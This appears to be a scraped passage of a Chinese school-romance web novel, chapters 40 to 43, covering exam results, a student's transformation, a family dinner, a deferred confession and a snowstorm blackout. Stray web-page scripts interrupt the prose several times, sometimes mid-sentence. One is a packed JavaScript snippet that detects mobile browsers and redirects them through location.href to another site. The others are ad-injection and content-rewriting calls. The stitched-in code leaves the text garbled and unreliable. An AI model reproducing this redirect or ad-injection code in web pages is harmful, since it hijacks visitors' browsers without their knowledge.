班主任眼眶泛红,拿着成绩单继续分析道:“这次咱们班平均分依旧排在全校理科班第一,但均分比上次考试高了三十多,这离不开班里每位同学的努力,大家都很厉害,我为你们感到骄傲。” 那些三分钟热度的同学眼泪汪汪,再次燃起了热血,打定主意好好学。 气氛一度很煽情。 难得被班主任这么夸的霍鸷阳,终于体验到之前姜祁月的别扭感,坐立不安的低头盯着试卷看,假装自己在忙。 忙,但是不知道在忙什么。 一旁的姜祁月见了,忍不住轻笑出声。 笑声很浅。 霍鸷阳不知道她在笑什么,但被那抹笑渲染了。 隔着几排座位,他在班主任的目光下顶风作案,侧着脑袋对姜祁月笑。 温暖阳光洒落进教室,给他镀上一层金边。 笑容灿烂,充满朝气。 班主任忍了又忍,忍无可忍,丢了个粉笔头出去。 正中霍鸷阳这个靶心。 “霍鸷阳,刚刚才夸完你,你现在在干什么?!” 暴躁骂声打破煽情气氛,班里同学哄堂大笑。 看着动作夸张的捂住额头装疼的霍鸷阳,姜祁月也忍不住唇角上扬。 40.独发,禁止转载 “夸几句就飘,我都懒得说你。” 骂完这句,班主任也没心思再煽情了,拍了拍讲台示意大家朝自己看,浑厚的声音带上几分感叹:“时间一晃就过去两年多了,大家也都长大了,别的话我就不多说了,你们尽力就好,我知道咱们班的孩子都是好样的,不管怎么样,你们都是我的骄傲。” 对于班主任而言,即便嘴上经常说老生常谈的话,骂你们真是我带过最差的一届学生,但总是能找到自己班学生的闪光点,在他心里每届学生都是独一无二的存在,只要人品没问题,即便成绩差点,也是他的骄傲。 一番话说下来大家都很感动,学习热情再度增加。 下课铃响起,班主任没有多留,抱着自己的玻璃杯笑眯眯离开,脸上红光满面,遇到其他老师腰杆都挺得更直了。 其他班的班主任如何羡慕暂且不说,他们班倒是狠狠出了一把风头。 最得意的莫过于霍鸷阳。 霍鸷阳的改变有目共睹,曾经的他是所有老师发愁的刺头,虽然每次犯错出发点都是好的,但每次事都闹得很大,怎么也得做做样子教育一下,大课间经常被请上台念检讨,就连教导主任和校长都对他非常眼熟。 现在霍鸷阳突然发生这么大的变化,老师们内部早就议论了好几轮,联考成绩一出来,校领导就做了个“冒险”的决定。——请霍鸷阳上台做演讲。 旗下讲话每周都有,但毕竟是在全校师生面前演讲,能被选上去的都是好学生,怎么看也不像霍鸷阳能干的。 即便他已经改变了,也让许多老师不放心。 还是班主任担保,才把这个机会保留了下来。 听完送作业的苏浅灿传来的小道消息,姜祁月眼角微弯:“这是好事啊。” “是好事,但我真无法想象霍鸷阳一本正经上台演讲,说一大堆心灵鸡汤的场景。”说完,苏浅灿忍不住倒吸一口冷气,盯着姜祁月问:“你能懂那种感觉吗?太,太鬼畜,太幻灭了。” “确实有一点。”姜祁月被苏浅灿的浮夸表演逗笑了。 苏浅灿用力点头,啧啧称奇:“可不就是吗,你也这么觉得吧!”当初她偷听到这个消息的时候就恍恍惚惚,让离经叛道的大校霸上台演讲,现身说法鼓舞更多人好好学习,怎么看怎么不靠谱,也不知道是哪个人才提出来的。 感叹完这个,苏浅灿又想起另一件事,趴在姜祁月桌子上说:“对了,这次演讲你也得上台,记得提前写好稿子。” “好。”姜祁月应了一声,没有任何意外的感觉。 苏浅灿趴在桌子上仰头看了很久,看着看着冷不丁冒出一句:“我是真佩服你啊大学霸,次次年级第一,好像任何事,任何人都影响不到你。” 听到这句话,姜祁月写题目的手一顿,笑意慢慢散去。 钢笔停落在纸面上,渲染开一片墨迹。 “哎,卷子,卷子,卷子脏了,钢笔快抬起来一点。”苏浅灿急得亲自伸手,替姜祁月把钢笔往上提了提。 钢笔离开纸面,墨迹还在扩散。 “可惜了这份卷子,黑了这么一大块,上面一道写好的题都染没了。” 惊呼声在耳畔响起。 姜祁月还没说什么,苏浅灿倒是心疼上了:“你辛辛苦苦写了这么久,就这么没了。” “没有那么夸张,只有几道题染脏了。”姜祁月轻声细语的说,说完又有些出神。 这段时间很忙,忙的她没空去想别的,现在苏浅灿突然提起来,她才想起那个被压在记忆深处的人。 在这之前,姜祁月都以为自己把人忘记了,直到现在她才知道没有。 好歹暗恋了这么久,还在鼓起勇气打算表白时突然遇到那种事,撞破暗恋对象的真面目…… 初恋还没开始就狼狈结束,哪儿是想忘就能忘的? 现在的她想起温绥晏,升不起任何喜欢的情绪,但想起曾经的相处还是忍不住后怕,不敢去想要是没有苏浅灿掺和,自己没发现温绥晏的真面目,会发生多少可怕的事。 “怎么就夸张了?别以为我不知道,这份试卷是竞赛级难度的题,就算是你,写一题也得花很长时间吧?” 苏浅灿的念叨声还在继续。 “没关系,墨干了还能看见字迹,不信你看。”姜祁月听见心里却镇定许多,从某方面来说,苏浅灿帮了她一个大忙。 换个角度看,她和妈妈一样幸运,有个和淑琴阿姨一样好的朋友。 “哎,真的哎,那就好,那就好。”苏浅灿仔仔细细看了很久,长舒一口气。 姜祁月沉默许久,突然开口道:“浅灿,谢谢你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758813|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “莫名其妙谢我干什么?”苏浅灿乐了,抬手戳了姜祁月一下,眨巴了好几下眼睛:“难不成突然意识到我天下第一好了?” “嗯,你最好了。”姜祁月脸上重新浮现出笑意。 “聊什么这么高兴?”霍鸷阳进了教室,坐在自己位置上朝她们看了眼。 姜祁月不答反问:“班主任把你叫过去是说演讲的事吗?” “可以啊,消息真灵通。”霍鸷阳竖起大拇指,笑的有些欠揍:“也不知道老班怎么想的,居然把我弄上去演讲。” “认真点,别没个正行。”姜祁月无奈叹气,额头都开始疼了:“稿子提前准备好,记得读熟点,那么多人呢。” 霍鸷阳正襟危坐:“得嘞,还得小乖多指教了。” “臭显摆。”苏浅灿切了声,扭头回自己的座位上,心里骂了霍鸷阳无数遍,就差一点她就能听见姜祁月夸她了。 姜祁月连忙看向霍鸷阳,见他心情不错,没有跟苏浅灿杠上的意思才放心。 有时候学校消息传递的真的很快,家长和家长间交流也很密切。 晚自习结束回到家,全家都知道霍鸷阳出息了,不仅成绩飞速提升,还被请去和姜祁月一起做旗下讲话。 反差大到霍鸷阳亲爸亲妈都不敢相信,等两个孩子回家亲自问了才敢信。 霍鸷阳爸爸性格沉稳点,霍鸷阳妈妈控制不住脸上的笑容,高兴的直拍大腿:“哈哈哈,这下祖坟真是冒青烟了!” 前不久还在发愁霍鸷阳以后怎么办,没想到山重水复疑无路,突然就柳暗花明又一村了。 “妈,你冷静点,就是演讲,怎么就祖坟冒青烟了?有那么夸张吗?”霍鸷阳浑身不自在,指出事实:“而且我成绩也没到祖坟冒青烟的地步,就及格出点头。” “你不懂,这是好的开端,咱得好好谢谢小乖。”张淑琴白了霍鸷阳一眼,懒得再跟他说。 原本觉得亲妈夸张的霍鸷阳话锋一转,颇为赞同的点头:“是得好好谢谢小乖。” “是该这样,下周五我下班回来多买点菜,鸷阳跟我一起下厨,请她们过来聚一聚。”霍鸷阳爸爸拍板做下决定。 “成,我去买水果饮料,顺便看看有没有什么适合送小乖的礼物。”张淑琴点头,恨不得现在就去外面逛街选礼物。 41.独发,禁止转载 接到霍鸷阳邀请时,姜祁月刚准备好旗下讲话的演讲稿,闻言奇怪的抬眸问:“你演讲稿准备好了吗?有时间亲自下厨做饭?” “放心,早准备好了。”霍鸷阳拍胸脯保证自己准备好了。 为了好好请姜祁月吃饭,他特意把所有事都忙完了,生怕有一件事没做完会分神。 姜祁月有些不放心:“给我看看吧。”不怪她这么谨慎,实在是霍鸷阳之前作检讨时前科一堆,没一次是在正经反思的。 “没问题,等会儿我回去拍张照片给你发过来。”霍鸷阳自信满满,很爽快就答应了。 见状,姜祁月放心许多。 霍鸷阳抓住机会,试探道:“那……请你吃饭的事?” “放心,会去的。”姜祁月给出肯定回答。 霍鸷阳悬着的心这才放下,在月光的映照下冲出卧室,笑嘻嘻的跟乔姨说这事。 乔玉韵非常捧场,轻声细语地说:“小阳亲自下厨,我们当然要过去捧场。” “谢谢乔姨!”霍鸷阳嘴角的笑怎么压都压不下去,笑的无比灿烂。 乔玉韵不放心地叮嘱道:“晚上路黑,小心点走,别跑摔了。” “好嘞!”霍鸷阳点头如捣蒜。 两家气氛非常好,都很期待这次聚餐。 和之前的聚餐不同,这次的聚餐意义非凡。 周五一早张淑琴就起床去上街,千挑万选出一个和姜祁月很像的可爱兔子抱枕,拎着一大堆水果回了家。 霍鸷阳爸爸也没闲着,特意请了一天假跑去菜市场买菜,提前准备了一大堆菜放冰箱备用。 霍鸷阳虽然在学校上课,但也没闲着,一下课就规划起做什么菜。 学了这么多天,他会的菜有很多,每样都想做出来给姜祁月吃,显摆显摆自己的厨艺。但总共就六个人吃,做太多了会浪费,他得选出最能抓住姜祁月胃的几道菜做。 为了这件事,霍鸷阳深思熟虑了一整天,直到第二天才确认要做的菜单。 好歹是一起长大的朋友,姜祁月很了解霍鸷阳,哪怕他掩饰得很好,仔细观察也能看出几分紧张。 她停下刷题的动作,抬手轻轻敲了敲霍鸷阳桌子,压低声音问:“一顿聚餐而已,又不是第一次了,至于这么紧张吗?” 都是熟人,姜祁月想不懂霍鸷阳为什么这么紧张。 “那能一样吗?”霍鸷阳下意识反驳,精神高度紧绷。 见他这么紧张,姜祁月顺口安慰了一句:“放心,你厨艺还不错,只要正常发挥,不会出问题的。” 听到这句话,霍鸷阳紧绷的神经松了松,嘴角控制不住上扬,口是心非道:“哪有,我天赋也没你说的那么好。” 姜祁月:“……” 姜祁月面无表情收回手,拿起钢笔继续写试卷。她真是吃饱了撑的才去安慰霍鸷阳。 周六上午,姜祁月早早起床洗漱,写完两套试卷后听到了敲门声。 “小乖,已经十一点了,你淑琴阿姨刚刚给我发消息说可以过去了,等会儿就能吃饭。”乔玉韵站在门外,浅笑着看向女儿。 “好,我整理一下东西就过来。”姜祁月一边应声,一边将书桌上的东西整理好。 另一边,霍鸷阳忙了一上午,总算把自己的拿手好菜都做出来了。 随着一道道菜摆上桌,他心里涌起浓浓的自豪感。 “可以啊。”张淑琴竖起大拇指,目光落在满桌色香味俱全的菜上:“这才几天,就做得这么好。” 她还记得霍鸷阳刚开始学做菜的时候炸了好几次厨房。 “那是,也不看看是我谁。”霍鸷阳得意挑眉,看上去无比欠揍。 几句话时间,姜祁月和她父母都过来了。 张淑琴本来就懒得搭理臭显摆的儿子,见状干脆跑去迎接人进来。 姜祁月打了声招呼,坐在椅子上等开饭。 霍鸷阳爸爸端上最后一道菜,擦了擦手在座位上坐下,拆开几瓶饮料给在场的人都倒了一杯,笑着说:“都饿了吧,快点吃吧,这些都是小阳亲手做的菜,你们看看怎么样。” “好,那我可要好好尝尝看。”姜祁月父母很捧场。 严格来说,这并不是霍鸷阳第一次下厨,在此之前他就下了好几次厨给姜祁月道歉,但做的分量并不大,除了姜祁月和霍鸷阳自己,还没人尝过霍鸷阳做的菜是什么味道,不仅姜祁月霍鸷阳好奇,霍鸷阳父母也很好奇霍鸷阳做的东西味道怎么样。 夹了一筷子菜,众人眼中都露出惊讶神色。 比他们预想中的要好太多。 没下几次厨的初学者能做成这样,真的很难得。 姜祁月爸爸开了个玩笑:“说起来我和你爸爸当年都是靠厨艺赢得你乔姨和你妈妈芳心的,凭小阳的厨艺天赋,以后说不定也能有这样的优势。” “真的吗?叔你也这么觉得?”霍鸷阳一听立马来劲了,剥虾动作都不自觉加快许多。 姜祁月爸爸乐了:“我还能框你不成?别说别人,以后咱们家小乖择偶标准,肯定包括厨艺这项。” “爸,没你说得那么夸张。”姜祁月坐立不安,耳尖红得滴血。 放在知道霍鸷阳对自己小心思前,她不会这么敏感,但现在不一样,现在她知道霍鸷阳对她有好感了,再谈这些总觉得很奇怪。 “这有什么不好意思的,明年中旬你们就高考完进入大学了,到大学谈恋爱不是很正常吗?我们两家又不是什么封建家庭,现在聊也没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 事。”姜祁月爸爸喝了一口饮料,颇为感慨地说:“时间过得真快,一晃眼你们都这么大了。” “可不就是,好像一晃眼还是十几年前。”乔玉韵同样叹气,非常感慨。 在长辈们讨论往事时,霍鸷阳把盛满虾肉的碗推到姜祁月面前,朝她挤眉弄眼。 姜祁月剥虾的动作微顿。 她刚刚看到霍鸷阳一直在剥虾,没想到剥了这么久全放在碗里给她了。 看着霍鸷阳挤眉弄眼的表情,姜祁月犹豫几秒还是接了碗,用表情无声示意他不要这样了。 霍鸷阳心满意足的点头,笑的比向日葵还要灿烂。 看到这一幕,乔玉韵笑了:“小阳真是个好哥哥,从小到大一直照顾小乖。” 霍鸷阳脸上的笑慢慢消失,心虚地低头应了一下,不敢多说一句话,生怕被发现了破绽。真让其他人发现了姜祁月肯定会生气,他不敢冒险。 好在多年的刻板印象摆在这里,除了两个当事人外,没有一个人往这上面想,甚至还在开玩笑打趣他们,听得霍鸷阳心里升起隐秘的快感,同时又愧疚与在所有人都不知道的情况下觊觎姜祁月。 在霍鸷阳眼中,姜祁月就像挂在天上的皎白月亮,只可远观不可靠近。 可他这个凡人不甘心远远看着月亮,竟然妄想揽明月入怀。 他知道这是对明月的亵渎,但他无法控制本心。 一顿饭吃下来,最紧张的就是姜祁月。 散场后,淑琴阿姨送的礼物被她父母带回去了,姜祁月找了个借口和霍鸷阳去了院子里散步。 院外艳阳高照。 桂花树下,姜祁月认真看着霍鸷阳,打算把一切都说清楚。 霍鸷阳察觉到气氛不对劲,本能的想说什么,却被姜祁月抢先一步开口。 轻柔的声音响起,在霍鸷阳耳中如闷雷滚动。 “霍鸷阳,你不用做那么多,我对你没有那种感觉。” 姜祁月再次表明态度,比起上次更严肃,更不留情面。 “对我就这么绝情啊?”霍鸷阳开玩笑似的问。 姜祁月无奈:“不绝情点不好吗?” 意识到这次聚餐是为了自己,姜祁月想法就变了。 之前她不好意思把话说绝,好像让霍鸷阳留有幻想,这样不好。与其这样,不如把话说明白,彻底断了霍鸷阳的想法。 “就不能给我一个机会吗?”霍鸷阳脸上的笑很牵强,他知道自己在强人所难,但这么久的暗恋,他不想放弃。 顿了顿,他补充道:“不是现在就给机会,我知道你不会早恋,现在应该好好学习,我想问……等高考后可以给我一个追求你的机会吗?” 看向姜祁月的目光无比专注。 42.独发,禁止转载 深邃的目光落在身上。 姜祁月仿佛被烫到般别过脸,心里乱成一团。 霍鸷阳看着她,开玩笑般说:“就算拒绝,能不能等到高考结束后再拒绝?” 微风吹拂在身上,带来一阵凉意。 姜祁月手指微蜷,抬头看着霍鸷阳,轻声问:“都是拒绝,现在和高考结束后有区别吗?” “当然有区别。”霍鸷阳眉梢微扬,笑意盈盈:“都说计划赶不上变化,不到最后一秒谁也不知道怎么样,说不定高考结束后你的想法会改变呢。” “要是不会改变呢?”姜祁月问。 听见这句话,霍鸷阳笑了:“那我也认了。” 他多说能猜到姜祁月为什么急着拒绝,怪他没有任何铺垫就表白,对姜祁月的冲击实在太大了,一直以来的相处方式发生颠覆式变化,任谁都会感到慌乱不适应。 距离高考结束还有将近一年时间,这段时间足够让姜祁月适应他身份的转变。 到时候就算拒绝也没关系。别的不说,在这方面他一直很有耐心,就算高考结束后还会被拒绝,也有耐心一直等下去。 当然,后半句话霍鸷阳没有说出来,只是静静盯着姜祁月看,等待最后结果。 姜祁月终究还是心软了,妥协般点头:“好,等高考结束后再说。” “那就这么说定了。”霍鸷阳眼角微弯,眸中盛满笑意。 这天之后,姜祁月发现霍鸷阳变得更明显了。 值得一提的是周一大课间的旗下讲话。 和以往不同,这次上台演讲的人中多了霍鸷阳。 为了凑热闹,连身体素质不好,申请免跑的学生都到了操场。 轮到霍鸷阳上台时,操场上许多人都翘首以盼,猜测霍鸷阳会不会来一次“不同寻常”的演讲。 出乎所有人的意料,霍鸷阳的演讲很认真,丝毫没有发生曾经做演讲时的情况。 演讲结束,台下众人互相对视一眼,不敢相信霍鸷阳真的彻底改变了,看样子还不是他们想的三分钟热度。 其他校领导和班主任悬着的心也终于放了下来。 姜祁月上台的顺序排在霍鸷阳后面。 两人刚好在上下台的阶梯上碰面。 擦肩而过时,姜祁月轻笑一声,由衷夸了句:“表现的很好。” 仅此一句,打破霍鸷阳一本正经的外表。 他扬起一抹灿烂的笑容,得意洋洋的说:“那是,你也加油。” 回到自己班的队伍里,霍鸷阳脸上还带着笑。 台上姜祁月接过话筒,在阳光照耀下开始演讲。 太阳就在她后上方,光线有些刺眼。 霍鸷阳感觉不到刺痛似的,一直目不转睛的盯着台上看。 她和太阳一样耀眼。 回到教室,班主任喜笑颜开,特意把霍鸷阳拉出来夸了一顿。 这是霍鸷阳从未得到过的待遇,被夸的反倒有些不自在,干咳一声转移话题:“都是姜祁月同学的功劳,多亏了她帮忙,不然我写的那些东西老班你也知道……” 话虽然没有说完整,但想表达的意思谁都知道。 班主任没好气:“还用你说?我当然知道。” 比起习惯于上台演讲的姜祁月,霍鸷阳准备的稿子质量要差许多,还好有姜祁月帮忙润色,才变得精彩起来。 这些班主任心里都门清,打算夸完曾经最不省心的刺头就去夸得意门生,没想到被霍鸷阳提出来了,就跟他吝啬于夸姜祁月似的。 “那成,老班你去夸她吧,我先走了,剩下的题目还没写完呢。”霍鸷阳挥了挥手,逃也似的溜了,压根不给班主任说话的机会。 被丢在原地的班主任:“……” 恰好出来倒水的姜祁月:“……” 忽略掉过程不说,从这次的演讲不难看出霍鸷阳端正好态度,不再像曾经那样离经叛道。 时间一天天过去,转眼就到了深秋。 气温降得很快,一天比一天冷。 短短两个月时间,高三生们经历了大大小小十几次考试,光是大规模的联考就有两次。 用苏浅灿的话来说,简直是考麻了。 姜祁月的成绩一直很好,在频繁地考试中找到自己的不足之处,查缺补漏后更上一层楼,压过曾经不屑于和其他学校联考的私立高中的尖子生们,稳坐前三宝座。 按照班主任分析,要是她能稳住这个成绩,以后全国的大学都能任她挑选,清北更是不在话下。 除此之外,以霍鸷阳为首的刺头学生痛改前非,一次考试比一次考试成绩好,进步非常大。 其中进步最大的,莫过于有姜祁月这个大学霸开小灶的霍鸷阳,硬生生被拉到了中上游水平,成绩提高的同时,专业课方面也超额完成体育班标准,不出意外的话能考上非常好的体育类学校。 张淑琴每次出去碰见其他家长,都会被夸得喜笑颜开,别提多有面子,耳提面命霍鸷阳一定要听小乖的话。 这些话不用别人说霍鸷阳也知道。 姜祁月最有发言权。 自从她答应高考后再说拒绝的事,霍鸷阳就再也不装了,恨不得天天黏在她身边刷存在感,偏偏他很有分寸感,用的理由都是问题目,而且成绩还真越来越好,拒绝都不好拒绝。 温水煮青蛙的方式对姜祁月很管用。 他们的相处方式和之前差别不大,姜祁月没有产生排斥感,态度也慢慢软化下来,习惯了从朋友到追求者的转变。 这些变化是潜移默化的,早在姜祁月察觉到之前,霍鸷阳就感受得非常明显。 按照这个情况,高考结束后还真不一定被拒绝。 越想霍鸷阳就越高兴,恨不得现在就高考结束。 姜祁月不知道霍鸷阳心里在想什么乱七八糟的东西,每天忙得脚不沾地,恨不得把时间掰成两瓣用。 都说她从小就聪明懂事,成绩名列前茅,很有学习天赋,但姜祁月知道自己的成绩并不是一句有天赋就能概括的。 其他人玩时她在学习,其他人放松时她也在学习,试卷上的每一分都是她辛苦挣来的。 都说不怕有天赋的人,就怕有天赋还努力的人,和她一起玩,苏浅灿压力山大,每次都是一边唉声叹气,一边努力学习,生怕追不上好朋友的步伐。 有时候姜祁月看见会心疼的让她休息一下。 每当这时,苏浅灿都会趴在桌子上,露出一个有气无力的笑,活像被鬼吸走了精气:“你还没休息呢,我休息不了一点,本来就不聪明了,再休息一下还怎么跟你上同一所大学,退一万步说,就算跟你上不了一所大学,也得上距离你近一点的大学吧?” 姜祁月还没来得及开口,苏浅灿的同桌就翻了个大大的白眼,直接被气笑了:“得了吧,你要是不聪明,那我算什么?” 这话不假,能跟姜祁月从小玩到大,除了霍鸷阳都深受学霸之气感染,还经常享受来自大学霸的开小灶福利,就算一开始 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 成绩平平,到现在也都名列前茅。 “哪儿有这么夸张。”姜祁月哭笑不得。 苏浅灿朝同桌龇了龇牙,转而看向姜祁月叹气:“别光叫我休息了大学霸,你也得劳逸结合,我都怕你学傻了。” 这句话苏浅灿说过无数遍。姜祁月实在太拼了,她只有二分之一那么拼都受不了,越来越害怕姜祁月学傻了。 “好好好,我一定注意劳逸结合。”姜祁月浅笑着答应了。 苏浅灿也不知道信了没有,唉声叹气:“希望你真能注意。” “放心,我帮你盯着。”一直没说话的霍鸷阳冷不丁开口。 苏浅灿乐了:“好好好,靠你了。” 姜祁月轻飘飘扫了他们一眼:“倒也不用在我面前明谋这些。” 休息是得休息,但她不打算现在休息。 不过计划赶不上变化,当天晚自习气温骤降,突然下起了大雪。 好在教室内有空调,感觉不到冷。 第一节晚自习结束,同学们齐齐围在走廊边看雪,时不时还响起一串尖叫。 仿佛为了应景,上课铃打响没多久,学校电路突然出问题,灯齐刷刷暗了下去。 “停电了!” 不知是谁先尖叫了声,教室内气氛顿时燃起来,都在起哄停电就不用上晚自习了。 紧绷了这么久,好不容易有休息的机会,大家都很兴奋。 姜祁月面色却刷的一下变白,身体也瞬间紧绷起来。 她怕黑。 一只大手突然拍了拍她肩膀。 有人压低声音在她耳畔说了一句话。 “小乖别怕,我带了蜡烛。” 姜祁月眼睫轻颤。 是霍鸷阳。 咔嚓一声。 打火机点燃一根蜡烛。 烛火摇曳,昏暗的教室顿时被幽光照亮。 虽然还是看不清,但比两眼一抹黑好多了。 透过霍鸷阳特意点燃的蜡烛,姜祁月对上一双闪闪发光的眼眸。 那一刻,她心跳突然加快了几分。 四周的声音被自动过滤掉。 姜祁月突然想起了自己和霍鸷阳建立友谊的场景。 其实最初两个人是各玩各的,小鸷阳喜欢拯救弱小打坏人,小祁月爱看书。但在有些小朋友眼中,这就是装模作样,非常看不惯小祁月,用躲猫猫的借口,把人骗到柜子里关着。 还是小鸷阳见父母着急忙慌帮乔姨去找孩子,才意识到发生了什么,凭人脉第一个找到小祁月的踪迹。 等家长赶到时,一群孩子全被小鸷阳打趴下去了。 他像是英雄一样挡在小祁月面前,一边踹人一边对趴了一地的小孩说:“这是我妹妹,谁敢再欺负她就是跟我过不去!” 小鸷阳说到做到,此后一直保护着小祁月,关系越来越好,再到之后所有人都得靠边站。 这一架打得很严重,好几个小孩身上都带了伤,他们家长理亏不敢说什么,带着小孩儿道歉离开。 那会儿小祁月父母和小鸷阳父母都着急小祁月,顾不上算账,把人带去看了好久的心理医生才让小祁月走出来。 不过怕黑的毛病还是留了下来。 哪怕睡觉,姜祁月床头柜也会点一盏小夜灯。 不需要有多亮,让房间不再黑漆漆的就好。 姜祁月有些恍神,心脏重重跳了几下。 十几年前的小鸷阳和现在的霍鸷阳好像在重叠。 43.独发,禁止转载 “怎么了?真被吓着了?”霍鸷阳歪了歪脑袋,侧身看向姜祁月,眸中满是关切神色。 姜祁月沉默许久,摇头说:“没有,你怎么还带了蜡烛和打火机啊?” 这个问题不仅姜祁月好奇,教室其他人也很好奇,蜡烛点亮后就一直在唉声叹气,加大声音问怎么有人还带了蜡烛到班里。 这年头,谁还带蜡烛啊,真是吃饱了撑的没事做。 负责上这节晚自习的班主任也很稀奇,背着手走到光源最亮的姜祁月桌边,笑眯眯的问一旁的霍鸷阳:“还有别的蜡烛吗?” 再多点几个蜡烛,说不定就真的能继续上晚自习了。 此话一出,前排的苏浅灿倒吸一口冷气,难以置信地盯着班主任,不敢相信电都断了,还能继续上晚自习。 无数双眼睛朝霍鸷阳看去。 霍鸷阳无语住了:“老班,我又不是哆啦A梦,能拿出一根蜡烛就不错了,还指望我在书包揣多少根?” 班主任干咳一声,老脸有点挂不住。这年头很少有人用蜡烛,家里有蜡烛的也不多,他的问题确实有点没必要。 这下他也不好意思问霍鸷阳是怎么想到在书包里装一根蜡烛的,背着手回到讲台上坐下,干咳一声说:“在等十分钟看看能不能来电,要是电来不了,会有人来通知咱们晚自习放假,不过这下雪天的夜黑路滑,回去路上一定要小心。” 此话一出,教室内氛围瞬间变好,热闹得仿佛即将过大年。 班主任气得直骂小兔崽子。 骂归骂,班主任对学生的容忍度很高,尤其是全班同学努力了这么多个月以后。现在班里突然出意外停电,纵着他们起哄也没什么。他知道这不仅是起哄,更是一种发泄和放松。 过了好一会儿教室才渐渐安静下去。 大家都在等来电,或者通知不上晚自习的人过来。 窃窃私语声没有断过,班主任睁一只眼闭一只眼,靠在椅子上闭目养神,干脆随他们去了。 姜祁月难得放任自己,趴在桌子上露出半边脸,再次问出好奇了很久的问题:“你怎么想到在书包带蜡烛呀?” 正常高三生书包里带的不是教辅资料就是文具,她还是第一次见到有人带打火机和蜡烛的,就算带也是带手电筒之类的照明工具。 霍鸷阳轻描淡写:“习惯带就一直带着呗,没想到真有派上用场的时候。” 他说得简单,但姜祁月多少能猜到。 小时候发生的事对他们造成的影响很大,霍鸷阳习惯于在书包里背上许多或许会用上的小物件,从柠檬味糖果再到蜡烛打火机,类似的东西书包里有很多,哪怕书包里没有装书,也一直装着这些东西,十几年从未断过,从小到大一直这样。 当时他就想着不怕一万就怕万一,即便派不上用场也要以防万一。到后面时代发展了,手电筒被蜡烛替代,他也从未想过替换书包里的蜡烛和打火机,仿佛替换这几样老物件就会失去什么似的。 “没想到你还挺细心的。”前排的苏浅灿冒了头,难得没跟霍鸷阳吵起来。 霍鸷阳昂首挺胸,得意洋洋的回道:“那可不。” “切,给你几分颜色就开染坊,也不知道在瞎得瑟什么。”苏浅灿嫌弃的转身,懒得搭理顺着杆子往上爬的霍鸷阳。 短短几句话,将姜祁月心里的感慨都打散了。 她无奈地看向霍鸷阳:“以后不用这样,书包是用来放书的。”感动归感动,但书包里面放小物件还行,放打火机还是太危险了。 “得嘞。”霍鸷阳应了一声,也不知道听进去了没有。 姜祁月还想说几句什么,却被敲门声打断了话茬。 教务处的老师站在门外,见他们班点了蜡烛惊讶地睁大眼睛,不过很快就回过神,传达起消息:“学校的电一时半会儿估计来不了,这雪估计也得下很久,李老师,你组织一下你们班学生放学,今天晚自习不上了。” 传完话他没有多留,继续赶去下个班传消息。 “啊啊啊!!!今晚没有晚自习了!!!!” 尖叫声打破安静氛围。 宣布消息时班里有多安静,现在就有多闹腾。 班主任拍了好几下讲台,才让底下的小兔崽子们安静下来。 他没好气地骂了句:“一个两个的想造反不成?” 骂完,又把之前的注意事项叮嘱了一遍,生怕有人回家路上被雪弄滑倒。 可惜没几个人有耐心听。 班里的同学们早就激动得想冲出教室,忍了这么久实属不易,班主任话音刚落,就齐刷刷起身准备往外冲。 “我话还没说完呢,都给我回来坐下,一个两个的这么着急干什么?”班主任吹胡子瞪眼,气得又拍了讲桌几下。 哐哐声很大,姜祁月都怕讲桌会被拍坏。 不过这一招很管用,速度快的同学迅速“刹车”,乖乖坐回座位上。 班主任这才满意点头,接着往下说:“这雪估计得下好一会儿,要是明天雪还是这么大,早读课有取消的概率,晚上回去大家记得多关注一下班群,有什么消息我会在群里通知。” 冬季天亮得晚,黑得早,七点就得上早读课,从家出发来学校的路上天还没亮,要是雪再下得大点,更容易出交通事故,每年这个时候,学校都会酌情取消几天早读课。 有了这话,大家更高兴了,被留下来的怨气也瞬间消散,直呼老班威武。 班主任没好气地扫了他们一眼:“我就是说有这个概率,别高兴得太早,也可能不取消早读呢?” 话是这么说,但按照之前大家的经验,早读课十有八九会取消。 霍鸷阳没有吹灭蜡烛,就这么一手端着蜡烛,一手扶着姜祁月胳膊慢慢下楼。 下雪天路滑,加上停电,四周光线很暗,只能靠微弱的月色照亮前方的路。 有蜡烛加持,滑倒的概率大大减小。 回到家,霍鸷阳还笑着对她说:“这下好了,你能多休息一会儿。” “嗯,说起来浅灿真是说什么就灵什么。”姜祁月哭笑不得。 回到家,她没有捧着书看,而是拿出手机看了一期音综,音综结束,班群跳出来一条消息。 是班主任发来的,这周早读课都不用上了。 班群一片欢天喜地。 从他们的反应就能看出来,他们回去后就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一直在坐等这个消息。 姜祁月收回手机,再次感慨起苏浅灿嘴灵。 一周早读课的取消让班里闹腾许多,直到迎来第三次大联考的消息才慢慢消停。 随着一场又一场考试结束,大家终于盼来了最后一场期末考。 考试那天难得没有下雪,教室外晴空万里,阳光洒落在地面上,带来一阵暖意。 交卷铃响起,姜祁月出了教室。 还没走到楼梯口,就看见站在第三考场门口的霍鸷阳。 看到她,霍鸷阳立刻凑了过来:“这次的卷子真简单,比前几次联考容易多了。” “恭喜你,今年能过个舒服的春节。”姜祁月一边下楼一边祝贺霍鸷阳,随后话锋一转:“联考是几十所学校一起办的,原创试卷难度较高,是比期末考试难一点,但期末考试也没你说的那么简单。” 霍鸷阳奇怪道:“我怎么感觉容易多了?” 听到这句话,姜祁月脚步停顿,抬头看着霍鸷阳,神色认真:“那就要恭喜你掌握的知识点又变多了。” “多亏了你给我开小灶。”霍鸷阳眉飞色舞,压低声音叹气:“之前每次过年走亲戚,都被一群亲戚围着问成绩,他们问的哪儿是成绩,分明就是想找优越感,看他们今年还敢不敢问。” 是时候轮到他扬眉吐气了。 霍鸷阳闭上眼睛都能浮现出不久后的场景。 